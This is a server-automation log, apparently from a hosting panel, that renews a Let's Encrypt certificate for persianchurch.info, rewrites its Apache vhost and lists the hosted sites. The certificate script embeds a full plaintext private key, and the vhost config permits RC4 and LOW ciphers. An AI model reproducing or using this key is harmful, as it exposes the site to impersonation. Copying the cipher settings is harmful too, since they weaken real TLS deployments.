MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-01 12:52:03: Establishing a connection
2026-05-01 12:52:03: Establishing a connection
2026-05-01 12:52:03: 

PUT: /tmp/pkp238008

#!/bin/bash
if [ -d "/var/www/persianchurch_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-01 12:52:03: 

chmod 755 /tmp/pkp238008; /tmp/pkp238008; rm /tmp/pkp238008

2026-05-01 12:52:03: 


1


2026-05-01 12:52:04: Establishing a connection
2026-05-01 12:52:05: 

PUT: /tmp/pkp588793

#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
cat > La6GqN4M49EpjlN4UP6ak4Xaubnu0G_x7mCA0Bo7xCY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
La6GqN4M49EpjlN4UP6ak4Xaubnu0G_x7mCA0Bo7xCY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 La6GqN4M49EpjlN4UP6ak4Xaubnu0G_x7mCA0Bo7xCY
cat > dxaoVjS7X1evG1H1CuuWrBLU3-SCQ676PiZ6aDzIYyc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
dxaoVjS7X1evG1H1CuuWrBLU3-SCQ676PiZ6aDzIYyc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 dxaoVjS7X1evG1H1CuuWrBLU3-SCQ676PiZ6aDzIYyc


2026-05-01 12:52:05: 

chmod 755 /tmp/pkp588793; /tmp/pkp588793; rm /tmp/pkp588793

2026-05-01 12:52:05: 




2026-05-01 12:52:11: Establishing a connection
2026-05-01 12:52:11: 

PUT: /tmp/pkp587098

#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
rm La6GqN4M49EpjlN4UP6ak4Xaubnu0G_x7mCA0Bo7xCY
rm dxaoVjS7X1evG1H1CuuWrBLU3-SCQ676PiZ6aDzIYyc


2026-05-01 12:52:11: 

chmod 755 /tmp/pkp587098; /tmp/pkp587098; rm /tmp/pkp587098

2026-05-01 12:52:11: 




2026-05-01 12:52:11: Establishing a connection
2026-05-01 12:52:11: 

PUT: /tmp/pkp877696

#!/bin/bash
temp_file=$(mktemp)
TARGET=8eb6e7ad55f500c5383398213d6ce103.crt

cat > $temp_file <<'endmsg'
a7:ad:8e:62:f3:c1:21:dd:c1:0e:e5:fe:60:72:a9:3e

-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBXJYI3Xg4c4X4ijydhdTY2RUMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTAxMTE1MzQwWhcNMjYwNzMwMTE1MzM5WjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDw2hn+LBplxL5e4M5MT70vWUk99Ivt/g9eqIdeGfUjjHPxTi0RBs5Qbace
hqJu5dFJT1PB81huZKZxtgecOaAvAgbDNHfoEq5yt6RWc7BIgdXfywYwRc0Hh+Mr
ZPrbOiEnmWO6n2nvdkG/sf44RovynTp/IhG695llJ8viPtTh2p0bWnFyPIjtHWet
NqJcUMGYMumQKksHKqYPsdSxb0NRYJSwlU5TK/uA6phSnIxVwz2U5Ghjvrx5TncV
OAW8ZiwdvgF8TWHg+6nd7H2RmonHzpNyN5GOisD7XUMfik/Xy3JYLerSwYkjv158
rV3Jg6h3RTEUU53ob3azOg+u2RP7AgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
Bv3x6uTTmEL8mxpNJOD1QWhICJwwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD76
3OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJwZXJzaWFuY2h1cmNoLmluZm+CFnd3dy5w
ZXJzaWFuY2h1cmNoLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy84NS5jcmwwggENBgorBgEE
AdZ5AgQCBIH+BIH7APkAdwDIo8R/x7OtuTVrAT9qehJt4zpOQ6XGRvmXrTl1mR3P
mgAAAZ3jmLqlAAAEAwBIMEYCIQC4OnflxmhKG4hOL1vvmHiAC52CzaYUTiZ7dCet
fHrqlwIhALBB4ohPaeE+egDTYdGm6yJubuirdTAQ1GQjBPC8heV3AH4AbP5QGUOo
XqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGd45i9DgAIAAAFAAmKCvEEAwBH
MEUCICsaaQUnaIYIG7dXIeHeDTblAtV/JzIIPVhHxYK4nMdhAiEArkhFjhaHO25E
WHXMteeXZ2dkjfcMxtb1guAWR2u31O4wDQYJKoZIhvcNAQELBQADggEBAEwu90Mm
mmbdZohlEaTa3Gkesm04Pia6OXTcNISFX3DnPODAWuKRWSI9CZffYd6x/LqmR3w2
NKVItlGBiWgQwk2wRT4NO7BllwcPwFGEL+eseUK79EnVNo/FJdsItKX8ovlYQVjo
YQZAFmvs/c246XcMHj20LcRewGnsPQES4GGLPwV6mAyiMLhX5IYUGXpb6DRB7m99
U92pbd8nbIoTGsRKV5JN3z7VVbE9/hwl72FiIoUxZ66XuUWwXu+ttJ2eQt6iNklD
4U1KdgFfVrVt6wyo6AC5RWTACUrmapY9GbRUFAndJGBfM67lITyVihJpC/D+Ws+0
192SlkVGhiX/d0c=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDw2hn+LBplxL5e
4M5MT70vWUk99Ivt/g9eqIdeGfUjjHPxTi0RBs5QbacehqJu5dFJT1PB81huZKZx
tgecOaAvAgbDNHfoEq5yt6RWc7BIgdXfywYwRc0Hh+MrZPrbOiEnmWO6n2nvdkG/
sf44RovynTp/IhG695llJ8viPtTh2p0bWnFyPIjtHWetNqJcUMGYMumQKksHKqYP
sdSxb0NRYJSwlU5TK/uA6phSnIxVwz2U5Ghjvrx5TncVOAW8ZiwdvgF8TWHg+6nd
7H2RmonHzpNyN5GOisD7XUMfik/Xy3JYLerSwYkjv158rV3Jg6h3RTEUU53ob3az
Og+u2RP7AgMBAAECggEABxHn5o5uZjSP5msmEP0xSxyNaiPtlzQFWhQUCKMT9cU2
D0Ol1vKLKeo7bYVmJugUTmoYrFn58/4FGSkTCnKlZJaGVwbnF1xN0zk+MWhm01mC
/kIdPluUCuz7h25mtC3brkoyFr06Nb8tjYFqbYpEVMzPuiP5lIe5gcM2y9BoJazj
7YZuZ6a0S8xMQ4TvDo+MdVyLL2vwRZPp4wjE0o1+HW/3epP8NYiSq7vAB7Kao00H
0k5Othw66kQ0WJONm9HBelpXTb+8bnhpEMdar2zPCCU+Y02CzR/e5AVEXpvUG/7G
TSDm4npSvssTnwlA1IALu/RXw4XhkUbQTBnM+iU36QKBgQD+xq+XOxHAKmGHKDtH
2iM4vS4rmZRKSBAoVIal3Mtlb1+xuX1F6DUcPwI5MFYwIOAsBpXgPUCT38Qqdi4j
3bE0KsIkZgZDxpsvCufwV7iW333LYyarlF09rd+4ZxuZT8a5nG1nOqae+01TTfXD
W9DvILJl72RG7UO0oTZiovhe2QKBgQDyAkrPZih9NNSzOUuLy3XEonryx6BCXL0H
wrhDVrCLP/R1vOtiaF4NI9Jbggm5KU4WNWSUYbxJYoH/lXUfb/E5Wl/A4afeP+pY
xKJsrewkvF+4lvSDdGdqQVZwDA9NXrlL9a/TNINGl5xzrrR/jvy2Rwib3kWiS/q3
LuHnuH/s8wKBgHfdICVFTB+dkM7WtbUjQqjiEEPA+IxOBRQEWGjWTPcHA/2IaBCo
o7wLRM+FFzeDcBQmcQLTrnsjrpXPjfufxEvnxfj76vyeBsqGFgL0MksBEJzMpBfb
MFbhY7zM/aYOa09N8ga8CEIJtyJ3LiXgH5cxSd09WG8qF012/zA+vh1ZAoGAcHUs
OlAohHYmWNpJBr8XDLbMF0E4cV4S4SZU5cXE6BBiEswlPWduPQDmYWt+BTLyfFN3
V5RLIHbMHe5frKoiGBqs4D57+UUOKw3ExGfVkgSPHoHXQba3z6Jo/kw8WCGqTWfv
ul9umUEejIskiRnyyOkdUQDqrs5LxQ/eHgWYPI0CgYEAkrRp5dtYtT1vyEl5LXlR
s9FAYtU/mK4u/OlAJF1ve73K3SRppwyAymEFPJwGXJCIvtZ1qWCxxvpExpv5Sm0X
aCQOh5LvHFJINQIb8xOUWoldvzKZ8BY+HAD4uM8+nnw+p65yaSnsNxBLjhtlzKz3
n/qw0ttK9dx7LVaTn40loe8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-01 12:52:12: 

chmod 755 /tmp/pkp877696; /tmp/pkp877696; rm /tmp/pkp877696

2026-05-01 12:52:12: 


dir=/etc/ssl/certs


2026-05-01 12:52:12: 

PUT: /tmp/pkp930695

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/persianchurch_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-01 12:52:12: 

chmod 755 /tmp/pkp930695; /tmp/pkp930695; rm /tmp/pkp930695

2026-05-01 12:52:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/persianchurch_www_info.conf 46

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid      41
    SetEnv pkp_owner    carelinks
    RewriteEngine       On
    RewriteCond %{REQUEST_METHOD} !POST
    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid      41
    SetEnv pkp_owner    carelinks
</VirtualHost>





2026-05-01 12:52:12: 

PUT: /tmp/pkp108107

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=persianchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/persianchurch_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	persianchurch.info
    ServerAlias	www.persianchurch.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8eb6e7ad55f500c5383398213d6ce103.crt
    DocumentRoot	/var/www/persianchurch_www
    <Directory /var/www/persianchurch_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/persianchurch/www_secure_access.log combined
    ErrorLog	/var/log/apache2/persianchurch/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/persianchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/persianchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/persianchurch_www_info.conf= 1'
fi


2026-05-01 12:52:12: 

chmod 755 /tmp/pkp108107; /tmp/pkp108107; rm /tmp/pkp108107

2026-05-01 12:52:12: 




2026-05-01 12:52:12: 

PUT: /tmp/pkp563715

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-01 12:52:12: 

chmod 755 /tmp/pkp563715; /tmp/pkp563715; rm /tmp/pkp563715

2026-05-01 12:52:12: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-01 12:52:12: Establishing a connection
2026-05-01 12:52:12: 

PUT: /tmp/pkp623851

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-01 12:52:12: 

chmod 755 /tmp/pkp623851; /tmp/pkp623851; rm /tmp/pkp623851

2026-05-01 12:52:12: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost youngrepairs.com (/etc/apache2/sites-enabled/youngrepairs_www_com.conf:2)
                 alias www.youngrepairs.com
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
